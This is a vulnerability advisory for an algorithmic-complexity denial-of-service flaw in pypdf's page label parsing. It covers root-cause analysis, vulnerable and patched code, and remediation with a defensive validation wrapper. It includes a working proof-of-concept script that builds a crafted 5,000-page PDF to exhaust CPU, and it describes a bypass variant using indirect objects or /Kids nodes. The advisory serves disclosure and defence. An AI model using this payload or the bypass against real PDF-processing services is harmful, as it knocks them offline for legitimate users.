CVE-2026-119206: Algorithmic Complexity Denial of Service in pypdf Page Label Resolution

pypdf is an open-source, pure-Python library used for reading, manipulating, and generating PDF documents. Within the library, the PdfReader and PdfWriter classes expose a page_labels property (defined in pypdf/_doc_common.py and implemented in pypdf/_page_labels.py) that extracts custom visual page numbering schemes defined in the PDF document catalog.

Applications that process untrusted PDF uploads frequently query reader.page_labels to build document outlines, render navigation sidebars, or index page metadata. This functionality parses the /PageLabels number tree located inside the PDF root dictionary (/Root). Because the /PageLabels structure is controlled entirely by the input file, the parser exposes a direct attack surface to remote, unauthenticated users submitting documents to processing pipelines.

In pypdf versions prior to 6.21.3, the page label resolution logic contains an algorithmic complexity flaw classified under CWE-400 (Uncontrolled Resource Consumption). When retrieving labels for all pages in a document, the library iterates over every page index and performs an independent linear search starting from the beginning of the /Nums array within the /PageLabels dictionary.

When an attacker supplies a crafted PDF containing both a large number of pages ($P$) and a large number of page label range definitions ($M$), the time complexity degrades to $\mathcal{O}(P \times M)$. In a pure-Python execution environment, this quadratic scaling causes the interpreter to execute tens of millions of array lookups and object deserializations, blocking the executing thread and causing an application-level Denial of Service (DoS).

According to the PDF specification (ISO 32000-1, Section 12.4.2), PDF documents can define custom page labels to replace standard 1-based sequential numbering with Roman numerals, alphabetic sequences, or prefixed strings. These definitions are stored in the document catalog at /Root -> /PageLabels using a data structure known as a Number Tree. In its flat representation, a number tree consists of a single dictionary containing a /Nums array made of alternating key-value pairs:

/Nums [ 0 << /S /r >> 4 << /S /D >> 10 << /S /A /P (App-) >> ]

In this structure, even indices contain zero-based page indices (keys) in strictly ascending order, and odd indices contain page label dictionaries (values) specifying the numbering style (/S), prefix (/P), and starting offset (/St) for all pages from that key up to the next defined key.

The root cause of CVE-2026-119206 lies in how pypdf maps the full sequence of document pages against this /Nums array. In pypdf/_doc_common.py, the page_labels property uses a list comprehension that invokes page_index2page_label(self, i)—an alias for index2label—independently for each page index $i \in [0, P-1]$. The index2label function was designed for random access of a single page label and maintains no state between consecutive calls.

Inside pypdf/_page_labels.py, index2label calls get_label_from_nums(dictionary_object, index) to scan the flat /Nums array. The function initializes a cursor at i = 0 and steps through the array in increments of 2 until it finds a key strictly greater than the target page index. Furthermore, on every iteration of the while loop, the code executes value = nums[i + 1].get_object() before checking if the loop has reached the target range, adding redundant object resolution overhead at every intermediate step.

Because both the page indices and the /Nums keys are sorted in ascending order, restarting the search from index 0 for every subsequent page is algorithmically suboptimal. For a document with $P$ pages and $M$ label ranges where each page defines its own label transition ($M = P$), resolving page $k$ requires $k$ iterations. Summing across all pages yields:

$$\sum_{k=0}^{P-1} (k + 1) = \frac{P(P + 1)}{2} = \mathcal{O}(P^2)$$

This quadratic behavior transforms a linear metadata lookup into a CPU-bound bottleneck whenever $P$ and $M$ reach several thousand entries.

Prior to version 6.21.3, pypdf/_doc_common.py implemented the page_labels property by calling page_index2page_label inside a list comprehension:

# pypdf/_doc_common.py (Vulnerable)
from ._page_labels import index2label as page_index2page_label
 
@property
def page_labels(self) -> list[str]:
    return [page_index2page_label(self, i) for i in range(len(self.pages))]

Each iteration invoked get_label_from_nums in pypdf/_page_labels.py, which scanned the /Nums array from index 0:

# pypdf/_page_labels.py (Vulnerable traversal per page)
def get_label_from_nums(dictionary_object: DictionaryObject, index: int) -> str:
    nums = dictionary_object["/Nums"]
    nums_length = len(nums)
    i = 0
    while i < nums_length:
        # Resolves dictionary object on every step, even before range match
        value = nums[i + 1].get_object()
        if i + 2 == nums_length:
            break
        next_key = nums[i + 2]
        if next_key > index:
            break
        i += 2
    # Formats and returns label string...

Commit b891fef37000cd86baa6e9848a3387d080b3b03e (Pull Request #4251) resolves the issue by replacing the repeated single-page lookups with a batch resolution function, index2labels, which processes flat number trees in a single linear pass:

# pypdf/_page_labels.py (Patched)
def _get_single_pass_nums_length(nums: ArrayObject, page_count: int) -> Optional[int]:
    nums_length = len(nums)
    previous = None
    for i in range(0, nums_length, 2):
        key = nums[i]
        # Validate canonical structure: paired elements, direct NumberObject keys,
        # direct value objects (not IndirectObject), and strictly increasing keys.
        if (
            i + 1 >= nums_length
            or not isinstance(key, NumberObject)
            or isinstance(nums[i + 1], IndirectObject)
            or (previous is not None and key <= previous)
        ):
            return None
        # Stop scanning once keys exceed the total page count
        if key >= page_count and i > 0:
            return i + 2
        previous = key
    return nums_length or None
 
def index2labels(pdf: PdfCommonDocProtocol, page_count: int) -> list[str]:
    if page_count <= 0:
        return []
    root = cast(DictionaryObject, pdf.root_object)
    if "/PageLabels" not in root:
        return _index2labels_page_by_page(pdf, page_count)
    number_tree = root["/PageLabels"].get_object()
    if not isinstance(number_tree, DictionaryObject) or "/Nums" not in number_tree:
        return _index2labels_page_by_page(pdf, page_count)
    nums = number_tree["/Nums"]
    if not isinstance(nums, ArrayObject):
        return _index2labels_page_by_page(pdf, page_count)
    
    # Verify if the /Nums array qualifies for single-pass optimization
    nums_length = _get_single_pass_nums_length(nums, page_count)
    if nums_length is None:
        return _index2labels_page_by_page(pdf, page_count)
 
    labels = []
    position = 0
    for index in range(page_count):
        # Advance the persistent cursor only when the next range boundary is reached
        while position + 2 < nums_length and nums[position + 2] <= index:
            position += 2
        # Pass only the active 2-element slice to get_label_from_nums
        entry = DictionaryObject({NameObject("/Nums"): ArrayObject(nums[position : position + 2])})
        labels.append(get_label_from_nums(entry, index))
    return labels

The patch introduces _get_single_pass_nums_length to validate that the /Nums array consists of strictly increasing NumberObject keys and direct dictionary values. If the validation succeeds, index2labels maintains a monotonically increasing position pointer across all pages, slicing only the active [key, value] pair (nums[position : position + 2]) to pass into get_label_from_nums. This guarantees that get_label_from_nums executes in $\mathcal{O}(1)$ time per page, reducing overall complexity to $\mathcal{O}(P + M)$.

> [!NOTE] > Assessment of Fix Completeness: While the patch completely resolves the quadratic complexity for flat /Nums arrays containing direct objects, _get_single_pass_nums_length returns None if any value nums[i + 1] is an IndirectObject (isinstance(nums[i + 1], IndirectObject)) or if the number tree uses intermediate /Kids nodes instead of a root /Nums array. In those cases, execution falls back to _index2labels_page_by_page, which retains the $\mathcal{O}(P \times M)$ traversal path. Consequently, a variant payload that stores the /Nums label dictionaries as indirect objects (10 0 R) or nests them inside a single /Kids node can bypass the single-pass check and re-trigger the quadratic page-by-page traversal.

Exploiting CVE-2026-119206 requires no authentication or specialized privileges on the target system. The sole prerequisite is that the target application accepts a user-supplied PDF document and accesses the .page_labels property on the resulting PdfReader or PdfWriter instance.

To construct an effective payload while keeping the overall file size compact, an attacker can generate a PDF with several thousand blank pages (which share minimal page tree structures) and populate the /Root -> /PageLabels -> /Nums array with a matching number of range transitions. Because each entry in /Nums requires only an integer and a small dictionary (<< /S /D >>), thousands of ranges can be packed into a PDF file measuring only a few hundred kilobytes.

The following proof-of-concept script generates a PDF containing 5,000 blank pages and 5,000 distinct page label entries in a flat /Nums array:

from pypdf import PdfWriter
from pypdf.generic import (
    ArrayObject,
    DictionaryObject,
    NameObject,
    NumberObject,
    TextStringObject,
)
 
writer = PdfWriter()
page_count = 5000
 
# Populate document with lightweight blank pages
for _ in range(page_count):
    writer.add_blank_page(width=72, height=72)
 
# Construct a flat /Nums array with one range per page
nums_array = ArrayObject()
for i in range(page_count):
    entry = DictionaryObject()
    entry[NameObject("/S")] = NameObject("/D")
    entry[NameObject("/P")] = TextStringObject(f"Sec-{i}-")
    nums_array.append(NumberObject(i))
    nums_array.append(entry)
 
page_labels_dict = DictionaryObject({
    NameObject("/Nums"): nums_array
})
 
writer.root_object[NameObject("/PageLabels")] = page_labels_dict
 
with open("crafted_dos.pdf", "wb") as f:
    writer.write(f)

When a vulnerable application (< 6.21.3) processes crafted_dos.pdf and evaluates reader.page_labels, the inner loop executes approximately $\frac{5000 \times 5001}{2} \approx 12.5 \times 10^6$ iterations. Scaling the page and range counts to $20,000$ increases the iteration count to $2 \times 10^8$, pinning the Python worker thread at 100% CPU utilization for an extended period.

The primary impact of CVE-2026-119206 is Endpoint Denial of Service (MITRE ATT&CK T1499.004) via CPU exhaustion. The vulnerability does not permit arbitrary code execution, memory corruption, or unauthorized disclosure of data; Confidentiality (VC:N) and Integrity (VI:N) metrics remain unaffected.

In synchronous Python web frameworks (such as Flask or Django running under WSGI workers with Gunicorn or uWSGI) or asynchronous event loops (such as FastAPI or aiohttp where PDF parsing is inadvertently run on the main event loop thread), triggering this flaw blocks the worker process entirely. Because Python's Global Interpreter Lock (GIL) restricts bytecode execution to a single thread per process, a single crafted PDF request will starve all concurrent requests sharing that worker process.

If an attacker submits multiple concurrent requests containing crafted PDF files, they can exhaust all available worker processes in the application pool. This leads to request queue saturation, HTTP 502/504 gateway timeouts for legitimate users, and container health-check failures that trigger repeated pod restarts in orchestrated environments.

The vulnerability carries a CVSS v4.0 base score of 7.1 (High) (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N). The Exploit Prediction Scoring System (EPSS) assigns this CVE a score of 0.00304 (23.18th percentile), and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

The recommended remediation is to upgrade pypdf to version 6.21.3 or later, which includes commit b891fef37000cd86baa6e9848a3387d080b3b03e:

pip install --upgrade "pypdf>=6.21.3"

For environments where an immediate dependency upgrade cannot be deployed, developers should avoid accessing the reader.page_labels property on untrusted PDF documents. If only specific page labels are required (for instance, rendering only the currently visible viewport in a paginated viewer), query individual pages via reader.get_page_number or limit calls to index2label(reader, page_index) for a bounded subset of pages rather than materializing the entire page_labels list.

Additionally, because PDF files can still utilize indirect object references inside /Nums or deeply nested /Kids trees that fall back to the slower page-by-page resolution path, applications parsing untrusted PDFs should enforce pre-processing validation and execution timeouts. A defensive wrapper can inspect the /PageLabels structure before evaluating reader.page_labels:

from pypdf import PdfReader
from pypdf.generic import ArrayObject, DictionaryObject, IndirectObject
 
def is_safe_page_labels(reader: PdfReader, max_pages: int = 1000, max_nums_entries: int = 500) -> bool:
    if len(reader.pages) > max_pages:
        return False
    root = reader.root_object
    if "/PageLabels" not in root:
        return True
    tree = root["/PageLabels"].get_object()
    if not isinstance(tree, DictionaryObject):
        return False
    # Reject nested /Kids trees on untrusted input if strict bounds are required
    if "/Kids" in tree:
        return False
    if "/Nums" in tree:
        nums = tree["/Nums"].get_object()
        if not isinstance(nums, ArrayObject) or len(nums) > max_nums_entries * 2:
            return False
        # Ensure values are direct objects so pypdf>=6.21.3 uses single-pass mode
        for i in range(1, len(nums), 2):
            if isinstance(nums[i], IndirectObject):
                return False
    return True

Combining version 6.21.3 with structural bounds checking and worker process timeouts ensures that both direct and indirect number tree payloads cannot exhaust application CPU resources.